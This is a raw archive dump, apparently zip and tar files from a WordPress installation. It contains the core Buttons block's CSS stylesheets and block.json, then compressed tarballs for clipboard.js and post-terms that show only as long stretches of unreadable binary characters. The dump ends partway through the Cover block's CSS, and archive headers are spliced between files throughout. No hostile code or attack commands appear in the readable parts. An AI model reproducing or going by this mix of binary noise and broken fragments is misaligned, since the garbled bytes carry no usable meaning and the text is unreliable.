.wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}PK\d[0&�ssstyle-rtl.min.cssnu�[���.wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter{text-align:center}PK\d[Zl�..editor-rtl.cssnu�[���.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{
  margin:0;
}
.wp-block-buttons>.block-list-appender{
  align-items:center;
  display:inline-flex;
}
.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{
  justify-content:flex-start;
}
.wp-block-buttons>.wp-block-button:focus{
  box-shadow:none;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{
  margin-left:auto;
  margin-right:auto;
  margin-top:0;
  width:100%;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-buttons{
  align-items:center;
  justify-content:center;
}

.wp-block[data-align=right]>.wp-block-buttons{
  justify-content:flex-end;
}PK\d[0&�ss
style.min.cssnu�[���.wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter{text-align:center}PK\d[Zl�..
editor.cssnu�[���.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{
  margin:0;
}
.wp-block-buttons>.block-list-appender{
  align-items:center;
  display:inline-flex;
}
.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{
  justify-content:flex-start;
}
.wp-block-buttons>.wp-block-button:focus{
  box-shadow:none;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{
  margin-left:auto;
  margin-right:auto;
  margin-top:0;
  width:100%;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-buttons{
  align-items:center;
  justify-content:center;
}

.wp-block[data-align=right]>.wp-block-buttons{
  justify-content:flex-end;
}PK\d[�l��66
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/buttons",
	"title": "Buttons",
	"category": "design",
	"allowedBlocks": [ "core/button" ],
	"description": "Prompt visitors to take action with a group of button-style links.",
	"keywords": [ "link" ],
	"textdomain": "default",
	"supports": {
		"anchor": true,
		"align": [ "wide", "full" ],
		"html": false,
		"__experimentalExposeControlsToChildren": true,
		"color": {
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"spacing": {
			"blockGap": [ "horizontal", "vertical" ],
			"padding": true,
			"margin": [ "top", "bottom" ],
			"__experimentalDefaultControls": {
				"blockGap": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"default": {
				"type": "flex"
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-buttons-editor",
	"style": "wp-block-buttons"
}
PK\d[k����
style-rtl.cssnu�[���.wp-block-buttons{
  box-sizing:border-box;
}
.wp-block-buttons.is-vertical{
  flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
  margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
  display:inline-block;
  margin:0;
}
.wp-block-buttons.is-content-justification-left{
  justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
  align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
  justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
  align-items:center;
}
.wp-block-buttons.is-content-justification-right{
  justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
  align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
  justify-content:space-between;
}
.wp-block-buttons.aligncenter{
  text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons .wp-block-button__link{
  width:100%;
}

.wp-block-button.aligncenter{
  text-align:center;
}PK\d[k����	style.cssnu�[���.wp-block-buttons{
  box-sizing:border-box;
}
.wp-block-buttons.is-vertical{
  flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
  margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
  display:inline-block;
  margin:0;
}
.wp-block-buttons.is-content-justification-left{
  justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
  align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
  justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
  align-items:center;
}
.wp-block-buttons.is-content-justification-right{
  justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
  align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
  justify-content:space-between;
}
.wp-block-buttons.aligncenter{
  text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons .wp-block-button__link{
  width:100%;
}

.wp-block-button.aligncenter{
  text-align:center;
}PK\d[�m���editor.min.cssnu�[���.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}PK\d[�m���editor-rtl.min.cssnu�[���PK\d[0&�ss0style-rtl.min.cssnu�[���PK\d[Zl�..�	editor-rtl.cssnu�[���PK\d[0&�ss
Pstyle.min.cssnu�[���PK\d[Zl�..
editor.cssnu�[���PK\d[�l��66
hblock.jsonnu�[���PK\d[k����
�style-rtl.cssnu�[���PK\d[k����	�$style.cssnu�[���PK\d[�m���+editor.min.cssnu�[���PK		�>/14338/clipboard.js.js.tar.gz000064400000015560151024420100011336 0ustar00��=ks9r��0/��Q�${���d�Ή_%ɗ�(*zH�䬇3ܙ�dګ���_�nt�5J�ws��eծ�A���n��h�.e��b�Sҟd�R���I,�$J��U�����$]'Ŧ7I����n�L�T��$�V�4̦����}�������r������;�p������b��/�Y�E����c�~�����W��⠷����狢X�}+�s�Іͯ"Е\N�뗧��[��LRq�N!��w��:�Q��K9^�����Bfy�N��X>��(� �Ҵ�Y8)�l�_v�D��جd:��*͊\<y�D���rR��w�	n^*\^kg��z�3�5�3ع#�\
;�	a�f55���Qү���RZ�UG-v��g�#��;i����ȍ��W��XD9��ȳL�,��է/�U�Z�y���z�"��h�#b^>�����=8��h�N֠��]O}4rf�u���)�i
4E��5��b��wo�OOvjz�A-�/;B�@H�:.Z�o��G�,(�U�����O��o����>�jx(z�$�J͓~%�]���Bf}�%?���A�aˈ[�q5��0e�
���~4z��x8}߯�{�=�
H���t7��,{�ϳI�~h��W��1�v;b�����e�E�G_5}�dDOh|���i$���h��z��ѳ����C,�o�&�0As�m�𓜬��P��%"]�,T�-Ca��
�p)����'�+ՠ��v~�����J�Oc=y0ea:Jˋl��Z���d��I�NN�\��]�IXL"�Y��;�B09
f�꺹���k%�=��u!B6�`U`�5���/��_
c�T���l.o��5u%Jc��)�8���kZBJ�� ���v�U#�hx��fq��VO�,�]4���`#���
B���2�FEpP%��Z�ɰ����ܕ�:G�T+*�(�`Hqh��u���O��J:�{q{�z[fG���+���D���{��g�<�U��Q�̊�=`,3;���F�#��TAR���e�;|N�%Zv 7z{�(t���@<0K��$��^��VE[a8��,�8��ф�뻎�l�{{O�[�X�S�Z��,A碄!p���4"KAe ��a�`Ai}z�8�ԓ�Js?!�p��1�~�3��S`w4_@u(ڱ�m�,ڻ��TCQ��b�9\JaF� ��&�,��来��bz	̘˿��͐�?�ܬ0�4�O�U=Êt8[-�;�b��+Z�O�N���f�$�4�7�h�+�J����Y���f1]m�.�+��'����X�-�~��u�\r�[Y^��Q�o�����'�ZQ���tW#���_�M�9�]QZE�r�é&ӣEOOgpC+]�cM5�]�i&����V��S�m�m%Q�Ԑ�-^
�+n��nР�Rދe2k�G��i�y~�.]'��L�x��
qڅ:N��C-�L�ԇ%�����u�Q�[R;�h��bN�7�(�\=��H(���j��N�����sf�~[g1�SH��*��K����`��:��T9�.�h*��k��{*�ҳ��r�A*��<i"_�Td��҉b��8L��CO�D�u��!*z&Ӟ�+�1t�-��Q��4��e�������!�g�^��,�W��1�{�eﰿVz���y���T�X*<�>��V��@CmV݈8�ts�֟��X���A���RCk�j��f9Nc�%-����%������aG�A��_��9�p��ԁ�����
]5t�mX��&���U���*K�T�S3+\eZ��0L���|��ձ3�\D���gi��Y[���ҥ���\�D�ߔ�}@L@�
��)�-��:+S�0(7�Y��n����&�l2��ʸ����m��6���l��ɠ廒������AG�3G�=�f��K���AW-d!Ls��ki�Y%(��g�Li�k �'�f�<��2�D�
P?И0`K�@�R�I��c��8�o����!��>�쐍b���K��K1̲4�/����V�k��*��x�bm�-@�b��O�5Z�s�������;pV0�Ex�$Wl�V"�S��v��YO���v��^�:�\�[`��W>��kT�x�~�0��<�r��XۘJHZ"�(z�],Q-�T�?0�j�A�nmvS�j	_�|�Z�MJѱ�B�ܾzrOר��Q�,�����;G���p��X��u�7���cUN�6:4�+��d���u�B�7�DM15g���QTx^�N��_�w
�N�j�-vQi�H6`;Q�UW^?��9���-��>��p�{�9�.<�5�r���u'gȩ���8�<��L���O9�2_�P��I��(�㣅�|t�ԅ���B��5�nB�"�5
h��0���$I��@`Ԡ"T�G�$�'��;��5�
+��T��#��9@�'�"dl�,Z)&�Yt>p�d�R�F���lS��m�͢�Z�fHR�2�W��2�
�E�=o�v�;=?ʍ���>*�!�GF�}E���.�3�f'�4C�h�ܩ���ɪ���CS�oE�1���@�T6J ��%��c5�.&�2S�,xM�����Wj��Q�O�g&��X��B�fK��VY�5���}��L
2<�\�~qc�C�ѠY�²@kҡR��p�����h�8�A��N��vV�ՒJ]RP�����LK�q]�+�F�j'ye�"U6N�u��NqY�/x�s�bXe �z�w!����9�[�����h� /!�Β0�(�:�q�����|,���&�<�O%��w\2`��lk����kqw�g0(x,��>C`�v܄}���s��j�^��C��UsG�f]�>�W�#튗#(�j)i�h�����㵱ٝ
&�Yq
d���&�~�SEMYͶ@2��I}Sґ���9�����1��D���]Z��a.��+
�l=�ڷ��N�2ٟb�݊*u�=a������GE��)��f�;��k���5��"�ZyP6@�PGo4p�W��	���v4��,9�ҺK�����=��K�b;~m�¨�<3Y׺C���E▂"��Y$/���l�Y���b�=8뤢����+�
EW��
�Tc�Y�fs�zw���]�)���U���ʥfY��l;��3��XG���r�"�yc
�,��43�sh/��\Ў�>S��>鲋ذ�H�5,vڡG�𡔕}��S�X�����^�.Q��U�ѐO)�x�t�
2�۴�\�1ס�.�x"��Gi�	��oҩ|���E���n��
�����ܿ��ԣ=Pզ��S*�DP���8�_���4��oi��80$�#��&R��"��!����lK2�2]�S9y�)W�"�;��Sd�C�3*`�E��
\
������`!�T��V8?߰�tFB�t�+N.�Z]��
e�DK,�e�_�N��H��1��+m�y>-�.��J��Ju	���Y���}������]Ʈ�6���f����u��բB�._��>�V�Ei��V����=Ck��+YM}����WUO��F�CJ
�zi���T�n�{�����#f��ړ�iI�%զ����vC�։]{r�K�i˸�^k[s#C¨p{xA�~ӭ��zL��c$�h,�`g8�H�&�B�҂��M�6�R+�K
n^B��h`9L-�:�5ϝ���f,-�C�j(��Юga%���Q�6+y]�j4�oܰ4gH)��yʆg�UU7��d"�\쒘~���	3�XY�ψ�C��aO,��2pd�7�2s�����z30$y`����G������G}�ű:����RQ�r�o����L��.�	�kM��;V�Se��j|�&zA�6�>A����O���	��+�3	�!�J�5%���:�u�o��4^駵�6'h{�v�*+�!��E��Q�o�!�vD?fό]��q1�&��X.�9��{��Ьj��ſM��i����k5��tt&'0-�y���P�:���=��lc���]�e_�~R>��5��8���-���_����)�۫�9������'$�^:�_7e�0�c�Fo�szx�~���jCw�8�들:*���U}b�+qF��[��'D��6Lہ(%T&F�%�3
����}^��r���I��z�f��šy�Dܽ�j��b&�{�%dC_�B>���]ã����l{h� ]+A�H�s��d;WAPw�+�t:7�̟8��0C� �䯏U���]*u��={�������������
�ど>�4���,���C�K,�bD�jRNyW��U�����2wug[�e4n
G5
`����H{������{a��0p������[�������QQꂕG-�ڒ��i���̜�ҌM��㻷[*�պ.��Φ�`�)_�a*���P�r�Ҵ��u�՜C�����N����U��z�-A۰��-�p510�0!պ�����AL�{�̠�N͒��qI����MY��|+�ɣ����]��9���iXi���4]^��F����t[��F<Ev�@8��3�}]�BAU����X]�kot��"1%���O2AZ��TC^q��F��1�Z�UE1��ȵM�쭆��1+_�
?s�,��
�,z��P5ʚ��N5�}��������|��|��'�f*��E�`�U�4��xx��W<_�4&g7�yN4uET�A�9��tƚ:,w��胺��`�s)>���B�@@�(\����8�"��Ms�PQ��\�$��N�E4�B��A�\ū��:Ix�#�9`f��>�NR\�C���,�dwn�X�w��Uܵי�e���T��dRF;�(QKm7�>JQ��� ��jE�XV�2���ZϾ[�R��S
Y�cR���</R�6Ո�A�G��Q�*�
�W��T�M�H}�A8�'/*w.��IW�]�`�+��F^�<z��o�`�*,��'q�U�k�z���2k����s��<��'�C��s#��르�7�Rs���P�_	�t�A_O�6[�&�h����i�si�����N!6��so�����3�z�a��v�y���kS)���D��L��r��SB/�l�S��EB��e@H�S>�|��qf�0��
��n2�Z�-��%��*UUA��6ͯjw�=��s$:�Q����hS����G���ɝ8� ��"#(>RoQ@X��k����[Y��_��z��}�ʵ�t���4�T�뽠:�e/��U��/e@�T.��ru��Y>�AZۏ��0�^��w���lv�O�$M,N:�=��J'�Վ1KC��c@�����֕A"6`\���ˈ�o,P��n��\�����r��h	\��l���5|~�2�FQv]�-�U����+�FIj����>Ƨ�,BA�yu��W���2�u���i�b[S)Ñ��/���EI�&���$����녣U�dhIP���K�D=\���I�|�#���T�+�
]	����d~�iʿJ������W�V��M��5��I��=�-y�6{���s��[���h�r]��6�����V�|锊.O���G�u�{t�n�o+р�%O_W?��7�ޟ�����t���g��gU�&4N�&����y� p�vn*_��+� *�bY8@J��1�^���g_A.Ҫ�{
������T�k~/���պv����!4�*�����3�@�ϐ�՗�]F*@�z�#"87�fPb�-g�,xN
�e��.:��`���=5F� j��A]���h{�~_���+uhG��؈<���
��<"{�7���Op��J�X����q�ʗ`��=
5�$-�I��ä��<_˼��sz�@�N�,d���p����k��>ʪ."��	�eb�q��v���8;�tz�u�0Yg0����h���Z�nn(��bi2�� ����|b��D�Kg3ƪA����&U�a���=So��������z`xc��|Q���[I�Ͻ<�&���b�>���xQ@�4�av�Ar�2p0�uw�3V/�%���;�^]���b<4���G�q�C6˼��WqZ����
�Y�2�X���9`�u�q��+N��{|�]eHQzC@ײ�yE@-o,b�*zj���i�rm�R8$���N�s�zk瘂H�<���i-�mՊ�T��l�u����8�V1�����Ԏ�����w�EE�@�ga�x<y���޽�^��~xo���㇓���?�=��q�񇽃�����89�ࠀ��TX[e���PE���Q���fXq*�A�Y�f74o���f�y�9j$���O�A�6<�~���y���G
H݃�r5p��X�Ff�a�F�1i����N�b5�e&�j�
��&��4���;z��ڎZx���\�)�W��
�6�$
߭�U�NK!�������
�Q�۝�����M�9��f�8
���'�WӼ�6�������x5�S�~;#SE�K}�|-�zQJ���`,!v�Y���.q�����6�g뤈���*,�z�����W��}���z�w��-L5@4���R�&�$Mv��NN��Wϻ�26vU	�z.�αb��b~�F2���!�z��3����̒�9ވ?�i?����e"_vjʯ:�:�A���%r4ii��ox�����g���[%n-W����:u�jV������a�|�z�P�o��i`�tMG��ԃ��2����P��uJ�]5�V�%��+���f�x+�C��2Ѵ��:��	��M�����*gQTvK}"(y��]
����?��
���z/���_�\���U0��\V.�}��G�����
�!c�qmq�f�T��<x���U'���{��o��?�����o��>��?����p14338/post-terms.tar.gz000064400000001415151024420100010460 0ustar00��W[o�0��Q�G�.��mU�I�4�h}�&d�C�Ė�h�߱	�P�j�I����ϗ�R-#p��1M���.����5Z��E��r��v��t�|0�,��<@*���C4�ܙD̛9�I�(�����#�M��	���U��U&�%p"�b�~R��ă!����.�B��B�k����A��P�m��]�d��b�{������*����w�{�{h١R\��L"��
&��i2k�b�ьp����:�:Z����	h��������[�\�K��0(�����yfc|52g�P>�	5�>LI�,)���
$�`qZW��g|Yr��D�$�Q��gJ�1�ArT3��Ҭ�&'�׭�?�S�x��V�t�lÚ��S	�3Kt���˲��|�u^�i�]Y��&,H��.���R�s&�
�U����]ʔ논ǡ�#|��H�I�c�V�A|
���Q�,݈&��x�ƨJ�ˬ��`�&�M�7K�:��]�V-X�����&�����R�'�����׃�����27�b������/@�P=R�Z^��F�#J7O�t��r�茰?#A9e���]r���wH�($�u��g��^�v����
�)zKU�l/҃���`;��j7�'szɍ���C��B2_O{!�G{����J�D�
��eC���]r�k�ڳ��2��������ۭ���@�fY�W�8]/��ò��{��:���鸯����n��P�B�
�&�hqH14338/cover.zip000064400000255643151024420100007074 0ustar00PK�[d[li�q��editor-rtl.min.cssnu�[���.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient{position:relative}.wp-block-cover.is-transient:before{background-color:#fff;content:"";height:100%;opacity:.3;position:absolute;width:100%;z-index:1}.wp-block-cover.is-transient .wp-block-cover__inner-container{z-index:2}.wp-block-cover .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:right}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}PK�[d[�`}Z�J�Jstyle-rtl.min.cssnu�[���.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;direction:ltr;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover 